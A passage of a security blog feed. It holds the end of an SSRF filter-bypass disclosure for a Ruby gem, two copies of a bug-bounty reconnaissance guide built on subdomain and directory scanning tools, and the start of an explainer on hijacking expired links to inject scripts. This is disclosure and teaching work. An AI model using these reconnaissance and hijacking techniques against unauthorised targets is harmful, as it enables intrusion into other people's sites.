&lt;p&gt;GitLab have provided a patch: &lt;a href="https://about.gitlab.com/2017/11/08/gitlab-10-dot-1-dot-2-security-release/" rel="noopener noreferrer"&gt;https://about.gitlab.com/2017/11/08/gitlab-10-dot-1-dot-2-security-release/&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;a href="https://github.com/jtdowney/private_address_check" rel="noopener noreferrer"&gt;private_address_check&lt;/a&gt; by &lt;a href="https://twitter.com/jtdowney" rel="noopener noreferrer"&gt;John Downey&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Link to report: &lt;a href="https://github.com/jtdowney/private_address_check/issues/1" rel="noopener noreferrer"&gt;https://github.com/jtdowney/private_address_check/issues/1&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/jtdowney/private_address_check" rel="noopener noreferrer"&gt;private_address_check&lt;/a&gt; is a Ruby gem that helps prevent SSRF. The actual filtering takes place in &lt;code&gt;lib/private_address_check.rb&lt;/code&gt;. The process starts by attempting to resolve the user-supplied URL with &lt;code&gt;Resolv::getaddresses&lt;/code&gt; and then compares the returned value with a the values in the blacklist. Once again I was able to use the same technique as before with GitLab to bypass this filter.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/private_address_check.rb, line 32
def resolves_to_private_address?(hostname)
  ips = Resolv.getaddresses(hostname)
  ips.any? do |ip| 
    private_address?(ip)
  end
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Consequently, &lt;a href="https://hackerone.com/reports/287245" rel="noopener noreferrer"&gt;HackerOne was affected by this bypass&lt;/a&gt;, because they use the &lt;em&gt;private_address_check&lt;/em&gt; gem to prevent SSRF on the “Integrations” panel: &lt;code&gt;https://hackerone.com/{BBP}/integrations&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32408319-5f50eb78-c196-11e7-8aee-c6ffd572597f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32408319-5f50eb78-c196-11e7-8aee-c6ffd572597f.png" alt="HackerOne - Blocked Address"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32408337-7bcdd874-c196-11e7-9fcc-1de5283bd7b0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F32408337-7bcdd874-c196-11e7-9fcc-1de5283bd7b0.png" alt="HackerOne - Bypass"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, I was unable to exploit this SSRF and therefore the issue only consisted of a filter bypass. HackerOne still encouraged me to report it, because they take any potential security issue into consideration and this bypass demonstrated a potential risk.&lt;/p&gt;

&lt;p&gt;This issue was patched in &lt;a href="https://github.com/jtdowney/private_address_check/commit/58a0d7fe31de339c0117160567a5b33ad82b46af" rel="noopener noreferrer"&gt;version 0.4.0&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Unaffected applications and gems
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;a href="https://github.com/arkadiyt/ssrf_filter" rel="noopener noreferrer"&gt;ssrf_filter&lt;/a&gt; by &lt;a href="https://twitter.com/arkadiyt" rel="noopener noreferrer"&gt;Arkadiy Tetelman&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;This gem is not vulnerable, because it checks if the value returned is empty.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/ssrf_filter/ssrf_filter.rb, line 116
raise UnresolvedHostname, "Could not resolve hostname '#{hostname}'" if ip_addresses.empty?

irb(main):001:0&amp;gt; require 'ssrf_filter'
=&amp;gt; true
irb(main):002:0&amp;gt; SsrfFilter.get("http://127.1/")
SsrfFilter::UnresolvedHostname: Could not resolve hostname '127.1'
  from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:116:in `block (3 levels) in &amp;lt;class:SsrfFilter&amp;gt;'
  from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `times'
  from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `block (2 levels) in &amp;lt;class:SsrfFilter&amp;gt;'
  from (irb):2
  from /usr/bin/irb:11:in `&amp;lt;main&amp;gt;'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;a href="https://rubygems.org/gems/faraday-restrict-ip-addresses/versions/0.1.1" rel="noopener noreferrer"&gt;faraday-restrict-ip-addresses&lt;/a&gt; by &lt;a href="https://github.com/bhuga" rel="noopener noreferrer"&gt;Ben Lavender&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;This gem uses &lt;code&gt;Addrinfo.getaddrinfo&lt;/code&gt; as recommended by the Ruby Code dev team.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# File lib/faraday/restrict_ip_addresses.rb, line 61
def addresses(hostname)
      Addrinfo.getaddrinfo(hostname, nil, :UNSPEC, :STREAM).map { |a| IPAddr.new(a.ip_address) }
    rescue SocketError =&amp;gt; e
      # In case of invalid hostname, return an empty list of addresses
      []
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The author would like to acknowledge the help provided by &lt;a href="https://twitter.com/TomNomNom" rel="noopener noreferrer"&gt;Tom Hudson&lt;/a&gt; and &lt;a href="https://twitter.com/SecurityYasin" rel="noopener noreferrer"&gt;Yasin Soliman&lt;/a&gt; during the discovery of the bug.&lt;/p&gt;

&lt;p&gt;Both &lt;a href="https://twitter.com/jtdowney" rel="noopener noreferrer"&gt;John Downey&lt;/a&gt; and &lt;a href="https://twitter.com/arkadiyt" rel="noopener noreferrer"&gt;Arkadiy Tetelman&lt;/a&gt; were extremely responsive. John Downey was able to immediately provide a patch, and Arkadiy Tetelman helped me figure out why their gem was not affected by the issue.&lt;/p&gt;




&lt;p&gt;Update (Friday, 10 November 2017): I expanded the “Root cause” section in order to better explain the actual issue.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ruby</category>
    </item>
    <item>
      <title>A lightweight reconnaissance setup for bug bounty hunters</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Sun, 29 Oct 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/edoverflow/a-lightweight-reconnaissance-setup-for-bug-bounty-hunters--4o36</link>
      <guid>https://forem.com/edoverflow/a-lightweight-reconnaissance-setup-for-bug-bounty-hunters--4o36</guid>
      <description>&lt;p&gt;The following is a lightweight reconnaissance setup that should help you quickly gather information on a given target. We will run through the basic installation steps and then take a look at how to use this setup while hunting.&lt;/p&gt;

&lt;p&gt;Please keep in mind that there are hundreds of tools out there and there is no way they could all be included in this write-up. This write-up is targeted towards people getting started or for those that want a simple setup. The author assumes that the reader already has a basic understanding of how to use a terminal. If not, the reader may want to start with &lt;a href="https://linuxjourney.com/"&gt;https://linuxjourney.com/&lt;/a&gt; before reading on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sublist3r
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ git clone https://github.com/aboul3la/Sublist3r.git
$ cd Sublist3r
$ sudo pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;💬 Aliases&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alias sublist3r='python /path/to/Sublist3r/sublist3r.py -d '

alias sublist3r-one=". &amp;lt;(cat domains | awk '{print \"sublist3r \"$1 \" -o \" $1 \".txt\"}')"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  dirsearch
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ git clone https://github.com/maurosoria/dirsearch.git
$ cd dirsearch/db
$ wget https://gist.githubusercontent.com/EdOverflow/c4d6d8c43b315546892aa5dab67fdd6c/raw/7dc210b17d7742b46de340b824a0caa0f25cf3cc/open_redirect_wordlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;💬 Aliases&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alias dirsearch='python3 /path/to/dirsearch/dirsearch.py -u '

alias dirsearch-one=". &amp;lt;(cat domains | awk '{print \"dirsearch \"\$1 \" -e *\"}')"

alias openredirect=". &amp;lt;(cat domains | awk '{print \"dirsearch \"\$1 \" -w /path/to/dirsearch/db/open_redirect_wordlist.txt -e *\"}')"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  webscreenshot
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Make sure to install &lt;a href="https://github.com/maaaaz/webscreenshot/wiki/Phantomjs-installation"&gt;PhantomJS&lt;/a&gt; too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ git clone https://github.com/maaaaz/webscreenshot.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Steps to take when approaching a target
&lt;/h2&gt;

&lt;p&gt;1) Verify target’s scope (&lt;code&gt;*.example.com&lt;/code&gt;);&lt;/p&gt;

&lt;p&gt;2) Run Sublist3r on &lt;code&gt;example.com&lt;/code&gt; and output all findings to a file called &lt;code&gt;output&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ sublist3r example.com -o output
...
$ cat output
foo.example.com
bar.example.com
admin.example.com
dev.example.com
www.example.com
git.example.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3) Check which domains resolve:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ while read domain; do if host "$domain" &amp;gt; /dev/null; then echo $domain; fi; done &amp;lt; output &amp;gt;&amp;gt; domains
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4) Run webscreenshot on the &lt;code&gt;domains&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python webscreenshot.py -i domains output example
...
$ eog example
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;💡 Tip: Look for &lt;a href="https://hackerone.com/reports/263902"&gt;404 pages&lt;/a&gt;, login panels, directory listings and old-looking pages when reviewing the screenshots.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TI2r7Mur--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32145630-3e1b6d6c-bccc-11e7-9ad3-ad4d4a6beb13.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TI2r7Mur--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32145630-3e1b6d6c-bccc-11e7-9ad3-ad4d4a6beb13.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5) Run dirsearch on the &lt;code&gt;domains&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ dirsearch-one
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;6) Check for open redirects using dirsearch on the &lt;code&gt;domains&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ openredirect
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  📝 Exercises
&lt;/h2&gt;

&lt;p&gt;The following tasks are left as exercises for the reader:&lt;/p&gt;

&lt;p&gt;1) Write a shell script that performs the entire process when supplied with a single domain (&lt;code&gt;example.com&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;2) Practice going through the process by picking a couple bug bounty programs on &lt;a href="https://hackerone.com/directory"&gt;HackerOne&lt;/a&gt; and &lt;a href="https://bugcrowd.com/programs"&gt;Bugcrowd&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The author would like to acknowledge the help provided by &lt;a href="https://twitter.com/TomNomNom"&gt;@TomNomNom&lt;/a&gt;. The cover image is by &lt;a href="https://unsplash.com/@joaosilas"&gt;João Silas&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>A lightweight reconnaissance setup for bug bounty hunters</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Sun, 29 Oct 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/securitytxt/a-lightweight-reconnaissance-setup-for-bug-bounty-hunters-1fo1</link>
      <guid>https://forem.com/securitytxt/a-lightweight-reconnaissance-setup-for-bug-bounty-hunters-1fo1</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TA4ymWys--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32144906-639add86-bcc0-11e7-9071-bdb1c125257a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TA4ymWys--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32144906-639add86-bcc0-11e7-9071-bdb1c125257a.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The following is a lightweight reconnaissance setup that should help you quickly gather information on a given target. We will run through the basic installation steps and then take a look at how to use this setup while hunting.&lt;/p&gt;

&lt;p&gt;Please keep in mind that there are hundreds of tools out there and there is no way they could all be included in this write-up. This write-up is targeted towards people getting started or for those that want a simple setup. The author assumes that the reader already has a basic understanding of how to use a terminal. If not, the reader may want to start with &lt;a href="https://linuxjourney.com/"&gt;https://linuxjourney.com/&lt;/a&gt; before reading on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sublist3r
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ git clone https://github.com/aboul3la/Sublist3r.git
$ cd Sublist3r
$ sudo pip install -r requirements.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;💬 Aliases&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alias sublist3r='python /path/to/Sublist3r/sublist3r.py -d '


alias sublist3r-one=". &amp;lt;(cat domains | awk '{print \"sublist3r \"$1 \" -o \" $1 \".txt\"}')"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  dirsearch
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ git clone https://github.com/maurosoria/dirsearch.git
$ cd dirsearch/db
$ wget https://gist.githubusercontent.com/EdOverflow/c4d6d8c43b315546892aa5dab67fdd6c/raw/7dc210b17d7742b46de340b824a0caa0f25cf3cc/open_redirect_wordlist.txt

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;💬 Aliases&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alias dirsearch='python3 /path/to/dirsearch/dirsearch.py -u '


alias dirsearch-one=". &amp;lt;(cat domains | awk '{print \"dirsearch \"\$1 \" -e *\"}')"


alias openredirect=". &amp;lt;(cat domains | awk '{print \"dirsearch \"\$1 \" -w /path/to/dirsearch/db/open_redirect_wordlist.txt -e *\"}')"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  webscreenshot
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;📀 Installation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Make sure to install &lt;a href="https://github.com/maaaaz/webscreenshot/wiki/Phantomjs-installation"&gt;PhantomJS&lt;/a&gt; too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ git clone https://github.com/maaaaz/webscreenshot.git

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Steps to take when approaching a target
&lt;/h2&gt;

&lt;p&gt;1) Verify target’s scope (&lt;code&gt;*.example.com&lt;/code&gt;);&lt;/p&gt;

&lt;p&gt;2) Run Sublist3r on &lt;code&gt;example.com&lt;/code&gt; and output all findings to a file called &lt;code&gt;output&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ sublist3r example.com -o output
...
$ cat output
foo.example.com
bar.example.com
admin.example.com
dev.example.com
www.example.com
git.example.com

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3) Check which domains resolve:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ while read domain; do if host "$domain" &amp;gt; /dev/null; then echo $domain; fi; done &amp;lt; output &amp;gt;&amp;gt; domains

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;4) Run webscreenshot on the &lt;code&gt;domains&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python webscreenshot.py -i domains output example
...
$ eog example

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;💡 Tip: Look for &lt;a href="https://hackerone.com/reports/263902"&gt;404 pages&lt;/a&gt;, login panels, directory listings and old-looking pages when reviewing the screenshots.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TI2r7Mur--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32145630-3e1b6d6c-bccc-11e7-9ad3-ad4d4a6beb13.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TI2r7Mur--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32145630-3e1b6d6c-bccc-11e7-9ad3-ad4d4a6beb13.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5) Run dirsearch on the &lt;code&gt;domains&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ dirsearch-one

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;6) Check for open redirects using dirsearch on the &lt;code&gt;domains&lt;/code&gt; file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ openredirect

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  📝 Exercises
&lt;/h2&gt;

&lt;p&gt;The following tasks are left as exercises for the reader:&lt;/p&gt;

&lt;p&gt;1) Write a shell script that performs the entire process when supplied with a single domain (&lt;code&gt;example.com&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;2) Practice going through the process by picking a couple bug bounty programs on &lt;a href="https://hackerone.com/directory"&gt;HackerOne&lt;/a&gt; and &lt;a href="https://bugcrowd.com/programs"&gt;Bugcrowd&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The author would like to acknowledge the help provided by &lt;a href="https://twitter.com/TomNomNom"&gt;@TomNomNom&lt;/a&gt;. The cover image is by &lt;a href="https://unsplash.com/@joaosilas"&gt;João Silas&lt;/a&gt;.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Broken Link Hijacking - How expired links can be exploited.</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Sun, 03 Sep 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/securitytxt/broken-link-hijacking---how-expired-links-can-be-exploited-ghe</link>
      <guid>https://forem.com/securitytxt/broken-link-hijacking---how-expired-links-can-be-exploited-ghe</guid>
      <description>&lt;p&gt;Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page. Broken Link Hijacking comes in two forms, reflected and stored. This issue has been exploited in the wild numerous times, but surprisingly few researchers actively look for broken links in bug bounty programs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30001780-873a820e-9098-11e7-9c53-ab746d322fc7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30001780-873a820e-9098-11e7-9c53-ab746d322fc7.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stored Broken Link Hijacking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Impersonation
&lt;/h3&gt;

&lt;p&gt;When a company deletes their social media account they might forget to remove the link from their website. An attacker can create an account on the social media platform with that username and impersonate the company.&lt;/p&gt;

&lt;h3&gt;
  
  
  External JS File Hijacking
&lt;/h3&gt;

&lt;p&gt;If a target has an external JS file and that domain/page is expired, you can claim it and then you essentially have stored XSS.&lt;/p&gt;

&lt;p&gt;Say for instance example.edu has an external JS file hosted on example.com and example.com has expired.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset="utf-8"&amp;gt;
  &amp;lt;meta name="viewport" content="width=device-width"&amp;gt;
  &amp;lt;title&amp;gt;Broken Link Hijacking&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script src="//example.com/script.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you can takeover example.com and can control the JS file on example.edu.&lt;/p&gt;

&lt;h3&gt;
  
  
  Information Leakage
&lt;/h3&gt;

&lt;p&gt;Hijacking broken links which are missing the &lt;code&gt;rel="noopener noreferrer"&lt;/code&gt; attribute could leak information to the attacker-controlled page. &lt;a href="https://github.com/cure53/HTTPLeaks" rel="noopener noreferrer"&gt;[1]&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also sometimes companies still link to expired analytics pages. If the attacker can hijack that expired page, they can monitor traffic and possibly gather valuable information about the target’s users. Someone actually once found one of these on Gratipay’s program: &lt;a href="https://hackerone.com/reports/111078" rel="noopener noreferrer"&gt;https://hackerone.com/reports/111078&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Content Hijacking
&lt;/h3&gt;

&lt;p&gt;An attacker can hijack the content of a page by taking over the expired domain/page. A good example of this can be seen in &lt;a href="https://twitter.com/MisterCh0c" rel="noopener noreferrer"&gt;@MisterCh0c&lt;/a&gt;’s blog post &lt;a href="https://hackernoon.com/how-i-hijacked-top-celebrities-tweets-including-katy-perry-shakira-fca3a0e751c6" rel="noopener noreferrer"&gt;“How I hijacked top celebrities tweets including Katy Perry, Shakira…”&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30002343-55a8dfc4-90a7-11e7-95b2-052bb5a1a5a3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F30002343-55a8dfc4-90a7-11e7-95b2-052bb5a1a5a3.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Reflected Broken Link Hijacking
&lt;/h2&gt;

&lt;p&gt;You know that feeling when you think you have reflected XSS, but cannot break out of the &lt;code&gt;href&lt;/code&gt; or &lt;code&gt;src&lt;/code&gt; attributes?&lt;/p&gt;

&lt;p&gt;If the link is a CDN or a file hosting service, you can construct a malicious link and host that file on the service. Admittedly, these are very rare, but definitely something to keep in mind in case you come across this issue in the future.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example Scenario
&lt;/h3&gt;

&lt;p&gt;&lt;a href="http://example.edu/?version=1.0.0" rel="noopener noreferrer"&gt;http://example.edu/?version=1.0.0&lt;/a&gt; returns a specific version of the JS file being hosted on cdn.example.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!-- http://example.edu/?version=1.0.0 --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset="utf-8"&amp;gt;
  &amp;lt;meta name="viewport" content="width=device-width"&amp;gt;
  &amp;lt;title&amp;gt;Broken Link Hijacking&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script src="//cdn.example/1.0.0/script.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;cdn.example allows us to add our project and host a malicious JS file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!-- http://example.edu/?link=maliciouspath --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
  &amp;lt;meta charset="utf-8"&amp;gt;
  &amp;lt;meta name="viewport" content="width=device-width"&amp;gt;
  &amp;lt;title&amp;gt;Broken Link Hijacking&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;script src="//cdn.example/maliciouspath/script.js"&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Tools
&lt;/h2&gt;

&lt;h3&gt;
  
  
  broken-link-checker
&lt;/h3&gt;

